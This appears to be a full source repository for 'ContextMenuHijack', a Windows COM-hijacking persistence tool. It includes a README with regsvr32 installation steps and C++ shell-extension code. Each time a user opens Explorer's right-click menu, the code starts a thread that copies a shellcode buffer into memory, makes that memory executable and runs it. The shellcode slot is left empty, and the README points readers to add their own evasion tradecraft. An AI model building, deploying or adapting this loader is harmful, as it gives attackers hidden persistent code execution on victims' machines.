├── ContextMenuHijack
├── ContextMenuHijack.user
├── ContextMenuHijack.vcxproj.user
├── GlobalExportFunctions.def
├── Reg.h
├── ClassFactory.h
├── FileContextMenuExt.h
├── ContextMenuHijack.sln
├── ContextMenuHijack.filters
├── ClassFactory.cpp
├── dllmain.cpp
├── FileContextMenuExt.cpp
├── Reg.cpp
└── ContextMenuHijack.vcxproj
└── README.md
/ContextMenuHijack/ContextMenuHijack.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/ContextMenuHijack/ContextMenuHijack.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/ContextMenuHijack/GlobalExportFunctions.def:
--------------------------------------------------------------------------------
1 | LIBRARY "ContextMenuHijack"
2 | EXPORTS
3 | DllGetClassObject PRIVATE
4 | DllCanUnloadNow PRIVATE
5 | DllRegisterServer PRIVATE
6 | DllUnregisterServer PRIVATE
--------------------------------------------------------------------------------
/ContextMenuHijack/Reg.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | HRESULT RegisterInprocServer(PCWSTR pszModule, const CLSID& clsid, PCWSTR pszFriendlyName, PCWSTR pszThreadModel);
6 | HRESULT UnregisterInprocServer(const CLSID& clsid);
7 | HRESULT RegisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid, PCWSTR pszFriendlyName);
8 | HRESULT UnregisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid);
9 |
10 |
11 |
--------------------------------------------------------------------------------
/ContextMenuHijack/ClassFactory.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | class ClassFactory : public IClassFactory {
7 | public:
8 | // IUnknown
9 | IFACEMETHODIMP QueryInterface(REFIID riid, void **ppv);
10 | IFACEMETHODIMP_(ULONG) AddRef();
11 | IFACEMETHODIMP_(ULONG) Release();
12 |
13 | // IClassFactory
14 | IFACEMETHODIMP CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppv);
15 | IFACEMETHODIMP LockServer(BOOL fLock);
16 |
17 | ClassFactory();
18 |
19 | protected:
20 | ~ClassFactory();
21 |
22 | private:
23 | long m_cRef;
24 | };
--------------------------------------------------------------------------------
/ContextMenuHijack/FileContextMenuExt.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 |
7 | class FileContextMenuExt : public IShellExtInit, public IContextMenu3
8 | {
9 | public:
10 | // IUnknown
11 | IFACEMETHODIMP QueryInterface(REFIID riid, void** ppv);
12 | IFACEMETHODIMP_(ULONG) AddRef();
13 | IFACEMETHODIMP_(ULONG) Release();
14 |
15 | // IShellExtInit
16 | IFACEMETHODIMP Initialize(LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID);
17 |
18 | // IContextMenu
19 | IFACEMETHODIMP QueryContextMenu(HMENU hMenu, UINT indexMenu, UINT idCmdFirst, UINT idCmdLast, UINT uFlags);
20 | IFACEMETHODIMP InvokeCommand(LPCMINVOKECOMMANDINFO pici);
21 | IFACEMETHODIMP GetCommandString(UINT_PTR idCommand, UINT uFlags, UINT* pwReserved, LPSTR pszName, UINT cchMax);
22 |
23 | // IContextMenu2 IContextMenu3
24 | IFACEMETHODIMP HandleMenuMsg(UINT uMsg, WPARAM wParam, LPARAM lParam);
25 | IFACEMETHODIMP HandleMenuMsg2(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT* plResult);
26 |
27 | FileContextMenuExt(void);
28 |
29 | protected:
30 | ~FileContextMenuExt(void);
31 |
32 | private:
33 | long m_cRef;
34 | wchar_t m_szSelectedFile[MAX_PATH];
35 | };
--------------------------------------------------------------------------------
/ContextMenuHijack/ContextMenuHijack.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.3.32901.215
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ContextMenuHijack", "ContextMenuHijack.vcxproj", "{3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Win32 = Debug|Win32
11 | Debug|x64 = Debug|x64
12 | Release|Win32 = Release|Win32
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|Win32.ActiveCfg = Debug|Win32
17 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|Win32.Build.0 = Debug|Win32
18 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|x64.ActiveCfg = Debug|x64
19 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Debug|x64.Build.0 = Debug|x64
20 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|Win32.ActiveCfg = Release|Win32
21 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|Win32.Build.0 = Release|Win32
22 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|x64.ActiveCfg = Release|x64
23 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {189766A4-67F8-4546-9453-B48CAB571F34}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ContextMenuHijack/ContextMenuHijack.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ContextMenuHijack/ClassFactory.cpp:
--------------------------------------------------------------------------------
1 | #include "ClassFactory.h"
2 | #include "FileContextMenuExt.h"
3 | #include
4 | #include
5 | #pragma comment(lib, "shlwapi.lib")
6 |
7 |
8 | extern long g_cDllRef;
9 |
10 |
11 | ClassFactory::ClassFactory() : m_cRef(1)
12 | {
13 | InterlockedIncrement( &g_cDllRef );
14 | }
15 |
16 | ClassFactory::~ClassFactory()
17 | {
18 | InterlockedDecrement( &g_cDllRef );
19 | }
20 |
21 |
22 | IFACEMETHODIMP ClassFactory::QueryInterface(REFIID riid, void **ppv)
23 | {
24 | static const QITAB qit[] =
25 | {
26 | QITABENT( ClassFactory, IClassFactory ),
27 | { 0 },
28 | };
29 | return QISearch( this, qit, riid, ppv );
30 | }
31 |
32 |
33 | IFACEMETHODIMP_(ULONG) ClassFactory::AddRef()
34 | {
35 | return InterlockedIncrement( &m_cRef );
36 | }
37 |
38 | IFACEMETHODIMP_(ULONG) ClassFactory::Release()
39 | {
40 | ULONG cRef = InterlockedDecrement( &m_cRef );
41 | if ( 0 == cRef ) {
42 | delete this;
43 | }
44 | return cRef;
45 | }
46 |
47 |
48 | IFACEMETHODIMP ClassFactory::CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppv)
49 | {
50 | HRESULT hr = CLASS_E_NOAGGREGATION;
51 |
52 | if ( pUnkOuter == NULL ) {
53 | hr = E_OUTOFMEMORY;
54 |
55 | FileContextMenuExt *pExt = new ( std::nothrow ) FileContextMenuExt();
56 |
57 | if ( pExt ) {
58 | hr = pExt->QueryInterface( riid, ppv );
59 | pExt->Release();
60 | }
61 | }
62 |
63 | return hr;
64 | }
65 |
66 |
67 | IFACEMETHODIMP ClassFactory::LockServer(BOOL fLock)
68 | {
69 | if ( fLock ) {
70 | InterlockedIncrement( &g_cDllRef );
71 | }
72 | else {
73 | InterlockedDecrement( &g_cDllRef );
74 | }
75 | return S_OK;
76 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ContextMenuHijack
2 |
3 | This original idea that inspired me is from [@NinjaParanoid](https://twitter.com/NinjaParanoid) :
4 |
5 | [](https://www.youtube.com/watch?v=SwdmijpSjjA&ab_channel=ChetanNayak)
6 |
7 |
8 | [ContextMenuHijack](https://github.com/RistBS/ContextMenuHijack) is a simple persistence technique that use COM hijacking based on human behavior, when you right click on a file/folder in the File Explorer to open the Context Menu, it executes at the same time the beacon we specified.
9 | ```c
10 | IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) {
11 | DWORD tid = NULL;
12 | CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid);
13 |
14 | if (NULL == pDataObj) {
15 | if (pidlFolder != NULL) {
16 | }
17 | return S_OK;
18 | }
19 | return S_OK;
20 | }
21 | ```
22 |
23 | ### Usage
24 |
25 | You just have to load the solution file (.sln) and build it. It's important to know that you need **adminstrator privileges** to use this persistence technique. Once you have done all of this, you just have to register the DLL file in the registry with `regsvr32`:
26 |
27 | ```powershell
28 | regsvr32 "C:\path\to\ContextMenuHijack.dll"
29 | ```
30 |
31 | > if you want to uninstall it just use `/u` flag
32 | ```powershell
33 | regsvr32 /u "C:\path\to\ContextMenuHijack.dll"
34 | ```
35 |
36 | 
37 |
38 |
39 | - this technique can be easily detected from the thread stack of `explorer.exe`, it is up to you to use your own evasion tradecraft
40 | 
41 |
42 |
43 | # Credits
44 |
45 | - https://github.com/rikka0w0/ExplorerContextMenuTweaker
46 | - https://learn.microsoft.com/en-us/windows/win32/shell/how-to-implement-the-icontextmenu-interface?redirectedfrom=MSDN
47 | - https://www.codeproject.com/Articles/441/The-Complete-Idiot-s-Guide-to-Writing-Shell-Extens
48 |
--------------------------------------------------------------------------------
/ContextMenuHijack/dllmain.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "ClassFactory.h"
4 | #include "Reg.h"
5 |
6 | const CLSID CLSID_FileContextMenuExt = { 0xb7cdf620, 0xdb73, 0x44c0,{ 0x86, 0x11, 0x83, 0x2b, 0x26, 0x1a, 0x01, 0x07 } };
7 |
8 | HINSTANCE g_hInst = NULL;
9 | long g_cDllRef = 0;
10 |
11 |
12 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
13 | {
14 | switch ( dwReason ) {
15 |
16 | case DLL_PROCESS_ATTACH:
17 | g_hInst = hModule;
18 | DisableThreadLibraryCalls( hModule );
19 | break;
20 |
21 | case DLL_THREAD_ATTACH:
22 |
23 | case DLL_THREAD_DETACH:
24 |
25 | case DLL_PROCESS_DETACH:
26 | break;
27 | }
28 | return TRUE;
29 | }
30 |
31 | __declspec(dllexport) STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, void **ppv)
32 | {
33 | HRESULT hr = CLASS_E_CLASSNOTAVAILABLE;
34 |
35 | if ( IsEqualCLSID( CLSID_FileContextMenuExt, rclsid ) ) {
36 | hr = E_OUTOFMEMORY;
37 |
38 | ClassFactory *pClassFactory = new ClassFactory();
39 | if ( pClassFactory ) {
40 | hr = pClassFactory->QueryInterface( riid, ppv );
41 | pClassFactory->Release();
42 | }
43 | }
44 | return hr;
45 | }
46 |
47 | __declspec(dllexport) STDAPI DllCanUnloadNow(void)
48 | {
49 | return g_cDllRef > 0 ? S_FALSE : S_OK;
50 | }
51 |
52 | __declspec(dllexport) STDAPI DllRegisterServer(void)
53 | {
54 | HRESULT hr;
55 |
56 | wchar_t szModule[MAX_PATH];
57 |
58 | if ( GetModuleFileName( g_hInst, szModule, ARRAYSIZE( szModule ) ) == 0 ) {
59 | hr = HRESULT_FROM_WIN32( GetLastError() );
60 | return hr;
61 | }
62 |
63 | hr = RegisterInprocServer( szModule, CLSID_FileContextMenuExt, L"ContextMenuHijack.FileContextMenuExt Class", L"Apartment" );
64 | if ( SUCCEEDED( hr ) ) {
65 | hr = RegisterShellExtContextMenuHandler( L"AllFilesystemObjects", CLSID_FileContextMenuExt, L"ContextMenuHijack.FileContextMenuExt" );
66 | }
67 |
68 | return hr;
69 | }
70 |
71 |
72 | __declspec(dllexport) STDAPI DllUnregisterServer(void)
73 | {
74 | HRESULT hr = S_OK;
75 |
76 | wchar_t szModule[MAX_PATH];
77 |
78 | if ( GetModuleFileName( g_hInst, szModule, ARRAYSIZE( szModule ) ) == 0 ) {
79 | hr = HRESULT_FROM_WIN32( GetLastError() );
80 | return hr;
81 | }
82 |
83 | hr = UnregisterInprocServer( CLSID_FileContextMenuExt );
84 | if ( SUCCEEDED( hr ) ) {
85 | hr = UnregisterShellExtContextMenuHandler( L"AllFilesystemObjects", CLSID_FileContextMenuExt );
86 | }
87 |
88 | return hr;
89 | }
--------------------------------------------------------------------------------
/ContextMenuHijack/FileContextMenuExt.cpp:
--------------------------------------------------------------------------------
1 | #include "FileContextMenuExt.h"
2 | #include
3 | #include
4 | #pragma comment(lib, "shlwapi.lib")
5 |
6 | extern long g_cDllRef;
7 | extern HINSTANCE g_hInst;
8 |
9 | UINT g_QCMFlags;
10 |
11 | #define IDM_DISPLAY 0
12 |
13 | unsigned char buf[] = "\x00"; // Shellcode here
14 |
15 | void InjectShc()
16 | {
17 | DWORD dwOldProtect = 0;
18 | LPVOID addr = VirtualAlloc( NULL, sizeof( buf ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
19 | memcpy( addr, buf, sizeof( buf ) );
20 |
21 | VirtualProtect( addr, sizeof( buf ), PAGE_EXECUTE_READ, &dwOldProtect );
22 |
23 | ( ( void( * )() )addr )();
24 | }
25 |
26 | FileContextMenuExt::FileContextMenuExt(void) : m_cRef( 1 )
27 | {
28 | InterlockedIncrement( &g_cDllRef );
29 | }
30 |
31 | FileContextMenuExt::~FileContextMenuExt(void)
32 | {
33 | InterlockedDecrement( &g_cDllRef );
34 | }
35 |
36 | #pragma region IUnknown
37 |
38 | IFACEMETHODIMP FileContextMenuExt::QueryInterface(REFIID riid, void **ppv)
39 | {
40 | static const QITAB qit[] =
41 | {
42 | QITABENT( FileContextMenuExt, IContextMenu ),
43 | QITABENT( FileContextMenuExt, IContextMenu2 ),
44 | QITABENT( FileContextMenuExt, IContextMenu3 ),
45 | QITABENT( FileContextMenuExt, IShellExtInit ),
46 | { 0 },
47 | };
48 | return QISearch( this, qit, riid, ppv );
49 | }
50 |
51 | IFACEMETHODIMP_(ULONG) FileContextMenuExt::AddRef()
52 | {
53 | return InterlockedIncrement( &m_cRef );
54 | }
55 |
56 | IFACEMETHODIMP_(ULONG) FileContextMenuExt::Release()
57 | {
58 | ULONG cRef = InterlockedDecrement( &m_cRef );
59 | if ( 0 == cRef ) {
60 | delete this;
61 | }
62 | return cRef;
63 | }
64 |
65 | #pragma endregion
66 |
67 |
68 | #pragma region IShellExtInit
69 |
70 | extern LPCITEMIDLIST g_pidl;
71 |
72 | IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID )
73 | {
74 | DWORD tid = NULL;
75 | CreateThread( NULL, 1024 * 1024, ( LPTHREAD_START_ROUTINE )InjectShc, NULL, 0, &tid );
76 |
77 | if ( NULL == pDataObj ) {
78 | if ( pidlFolder != NULL ) {
79 | }
80 | return S_OK;
81 | }
82 | return S_OK;
83 | }
84 |
85 | #pragma endregion
86 |
87 | #pragma region IContextMenu
88 |
89 | IFACEMETHODIMP FileContextMenuExt::QueryContextMenu(HMENU hMenu, UINT indexMenu, UINT idCmdFirst, UINT idCmdLast, UINT uFlags)
90 | {
91 | g_QCMFlags = uFlags;
92 | return MAKE_HRESULT( SEVERITY_SUCCESS, 0, 0 );
93 | }
94 |
95 |
96 | IFACEMETHODIMP FileContextMenuExt::InvokeCommand(LPCMINVOKECOMMANDINFO pici)
97 | {
98 | BOOL fUnicode = FALSE;
99 |
100 | if ( pici->cbSize == sizeof( CMINVOKECOMMANDINFOEX ) ) {
101 | if ( pici->fMask & CMIC_MASK_UNICODE ) {
102 | fUnicode = TRUE;
103 | }
104 | }
105 | return S_OK;
106 | }
107 |
108 |
109 | IFACEMETHODIMP FileContextMenuExt::GetCommandString(UINT_PTR idCommand, UINT uFlags, UINT *pwReserved, LPSTR pszName, UINT cchMax)
110 | {
111 | HRESULT hr = E_INVALIDARG;
112 |
113 | if ( idCommand == IDM_DISPLAY ) {
114 | switch ( uFlags ) {
115 |
116 | default:
117 | hr = S_OK;
118 | }
119 | }
120 | return hr;
121 | }
122 |
123 | #pragma endregion
124 |
125 | HRESULT MenuMessageHandler(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT* pResult)
126 | {
127 | return S_OK;
128 | }
129 |
130 | IFACEMETHODIMP FileContextMenuExt::HandleMenuMsg(UINT uMsg, WPARAM wParam, LPARAM lParam)
131 | {
132 | LRESULT res;
133 | return MenuMessageHandler( uMsg, wParam, lParam, &res );
134 | }
135 |
136 | IFACEMETHODIMP FileContextMenuExt::HandleMenuMsg2(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT *plResult)
137 | {
138 | if ( NULL == plResult ) {
139 | LRESULT res;
140 | return MenuMessageHandler( uMsg, wParam, lParam, &res );
141 | }
142 | else {
143 | return MenuMessageHandler( uMsg, wParam, lParam, plResult );
144 | }
145 | }
--------------------------------------------------------------------------------
/ContextMenuHijack/Reg.cpp:
--------------------------------------------------------------------------------
1 | #include "Reg.h"
2 | #include
3 |
4 | HRESULT SetHKCRRegistryKeyAndValue(PCWSTR pszSubKey, PCWSTR pszValueName, PCWSTR pszData)
5 | {
6 | HKEY hKey = NULL;
7 |
8 | HRESULT hr = HRESULT_FROM_WIN32( RegCreateKeyEx( HKEY_CLASSES_ROOT, pszSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL ) );
9 |
10 | if ( SUCCEEDED( hr ) ) {
11 | if ( pszData != NULL ) {
12 | DWORD cbData = lstrlen( pszData ) * sizeof( *pszData );
13 | hr = HRESULT_FROM_WIN32( RegSetValueEx( hKey, pszValueName, 0, REG_SZ, reinterpret_cast( pszData ), cbData ) );
14 | }
15 | RegCloseKey( hKey );
16 | }
17 | return hr;
18 | }
19 |
20 | HRESULT GetHKCRRegistryKeyAndValue(PCWSTR pszSubKey, PCWSTR pszValueName, PWSTR pszData, DWORD cbData)
21 | {
22 | HKEY hKey = NULL;
23 |
24 | HRESULT hr = HRESULT_FROM_WIN32( RegOpenKeyEx( HKEY_CLASSES_ROOT, pszSubKey, 0, KEY_READ, &hKey ) );
25 |
26 | if ( SUCCEEDED( hr ) ) {
27 | hr = HRESULT_FROM_WIN32( RegQueryValueEx( hKey, pszValueName, NULL, NULL, ( LPBYTE )( pszData ), &cbData ) );
28 | RegCloseKey( hKey );
29 | }
30 | return hr;
31 | }
32 |
33 |
34 | HRESULT RegisterInprocServer(PCWSTR pszModule, const CLSID& clsid, PCWSTR pszFriendlyName, PCWSTR pszThreadModel)
35 | {
36 | if ( pszModule == NULL || pszThreadModel == NULL ) {
37 | return E_INVALIDARG;
38 | }
39 |
40 | HRESULT hr;
41 | wchar_t szCLSID[ MAX_PATH ];
42 |
43 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) );
44 |
45 | wchar_t szSubkey[ MAX_PATH ];
46 |
47 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"CLSID\\%s", szCLSID );
48 | if ( SUCCEEDED( hr ) ) {
49 | hr = SetHKCRRegistryKeyAndValue( szSubkey, NULL, pszFriendlyName );
50 |
51 | if ( SUCCEEDED( hr ) ) {
52 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"CLSID\\%s\\InprocServer32", szCLSID );
53 | if ( SUCCEEDED( hr ) ) {
54 | hr = SetHKCRRegistryKeyAndValue( szSubkey, NULL, pszModule );
55 | if ( SUCCEEDED( hr ) ) {
56 | hr = SetHKCRRegistryKeyAndValue( szSubkey, L"ThreadingModel", pszThreadModel );
57 | }
58 | }
59 | }
60 | }
61 | return hr;
62 | }
63 |
64 |
65 | HRESULT UnregisterInprocServer(const CLSID& clsid)
66 | {
67 | HRESULT hr = S_OK;
68 | wchar_t szCLSID[ MAX_PATH ];
69 |
70 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) );
71 |
72 | wchar_t szSubkey[ MAX_PATH ];
73 |
74 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"CLSID\\%s", szCLSID );
75 | if ( SUCCEEDED( hr ) ) {
76 | hr = HRESULT_FROM_WIN32( RegDeleteTree( HKEY_CLASSES_ROOT, szSubkey ) );
77 | }
78 | return hr;
79 | }
80 |
81 |
82 | HRESULT RegisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid, PCWSTR pszFriendlyName)
83 | {
84 | if ( pszFileType == NULL ) {
85 | return E_INVALIDARG;
86 | }
87 |
88 | HRESULT hr;
89 | wchar_t szCLSID[ MAX_PATH ];
90 |
91 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) );
92 |
93 | wchar_t szSubkey[ MAX_PATH ];
94 |
95 | if ( *pszFileType == L'.' ) {
96 | wchar_t szDefaultVal[ 260 ];
97 | hr = GetHKCRRegistryKeyAndValue( pszFileType, NULL, szDefaultVal, sizeof( szDefaultVal ) );
98 |
99 | if ( SUCCEEDED( hr ) && szDefaultVal[ 0 ] != L'\0' ) {
100 | pszFileType = szDefaultVal;
101 | }
102 | }
103 |
104 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"%s\\shellex\\ContextMenuHandlers\\%s", pszFileType, szCLSID );
105 | if ( SUCCEEDED( hr ) ) {
106 | hr = SetHKCRRegistryKeyAndValue( szSubkey, NULL, pszFriendlyName );
107 | }
108 | return hr;
109 | }
110 |
111 |
112 | HRESULT UnregisterShellExtContextMenuHandler(PCWSTR pszFileType, const CLSID& clsid)
113 | {
114 | if ( pszFileType == NULL ) {
115 | return E_INVALIDARG;
116 | }
117 |
118 | HRESULT hr;
119 | wchar_t szCLSID[ MAX_PATH ];
120 |
121 | StringFromGUID2( clsid, szCLSID, ARRAYSIZE( szCLSID ) );
122 |
123 | wchar_t szSubkey[ MAX_PATH ];
124 |
125 | if ( *pszFileType == L'.' ) {
126 | wchar_t szDefaultVal[ 260 ];
127 | hr = GetHKCRRegistryKeyAndValue( pszFileType, NULL, szDefaultVal, sizeof( szDefaultVal ) );
128 |
129 | if ( SUCCEEDED( hr ) && szDefaultVal[ 0 ] != L'\0' ) {
130 | pszFileType = szDefaultVal;
131 | }
132 | }
133 |
134 | hr = StringCchPrintf( szSubkey, ARRAYSIZE( szSubkey ), L"%s\\shellex\\ContextMenuHandlers\\%s", pszFileType, szCLSID );
135 | if ( SUCCEEDED( hr ) ) {
136 | hr = HRESULT_FROM_WIN32( RegDeleteTree( HKEY_CLASSES_ROOT, szSubkey ) );
137 | }
138 | return hr;
139 | }
--------------------------------------------------------------------------------
/ContextMenuHijack/ContextMenuHijack.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Debug
10 | x64
11 |
12 |
13 | Release
14 | Win32
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {3D1EDCCE-C4D7-4E77-9E1C-1A689D188A9A}
23 | Win32Proj
24 | ContextMenuHijack
25 | 10.0
26 | ContextMenuHijack
27 |
28 |
29 |
30 | DynamicLibrary
31 | true
32 | Unicode
33 | v143
34 |
35 |
36 | DynamicLibrary
37 | true
38 | Unicode
39 | v143
40 |
41 |
42 | DynamicLibrary
43 | false
44 | true
45 | Unicode
46 | v143
47 |
48 |
49 | DynamicLibrary
50 | false
51 | true
52 | Unicode
53 | v143
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | true
73 | $(Configuration)\$(Platform)\
74 | $(SolutionDir)$(Configuration)\$(Platform)\
75 |
76 |
77 | true
78 | $(SolutionDir)$(Configuration)\$(Platform)\
79 | $(Configuration)\$(Platform)\
80 |
81 |
82 | false
83 | $(SolutionDir)$(Configuration)\$(Platform)\
84 | $(Configuration)\$(Platform)\
85 |
86 |
87 | false
88 | $(SolutionDir)$(Configuration)\$(Platform)\
89 | $(Configuration)\$(Platform)\
90 |
91 |
92 |
93 | NotUsing
94 | Level3
95 | Disabled
96 | WIN32;_DEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions)
97 |
98 |
99 |
100 |
101 |
102 |
103 | Windows
104 | true
105 | GlobalExportFunctions.def
106 |
107 |
108 |
109 |
110 | NotUsing
111 | Level3
112 | Disabled
113 | WIN32;_DEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions)
114 |
115 |
116 |
117 |
118 |
119 |
120 | Windows
121 | true
122 | GlobalExportFunctions.def
123 |
124 |
125 |
126 |
127 | Level3
128 | NotUsing
129 | MaxSpeed
130 | true
131 | true
132 | WIN32;NDEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions)
133 |
134 |
135 |
136 |
137 |
138 |
139 | Windows
140 | true
141 | true
142 | true
143 | GlobalExportFunctions.def
144 |
145 |
146 |
147 |
148 | Level3
149 | NotUsing
150 | MaxSpeed
151 | true
152 | true
153 | WIN32;NDEBUG;_WINDOWS;_USRDLL;CPPSHELLEXTCONTEXTMENUHANDLER_EXPORTS;%(PreprocessorDefinitions)
154 |
155 |
156 |
157 |
158 |
159 |
160 | Windows
161 | true
162 | true
163 | true
164 | GlobalExportFunctions.def
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 | false
179 | false
180 |
181 |
182 |
183 |
184 | false
185 | false
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
--------------------------------------------------------------------------------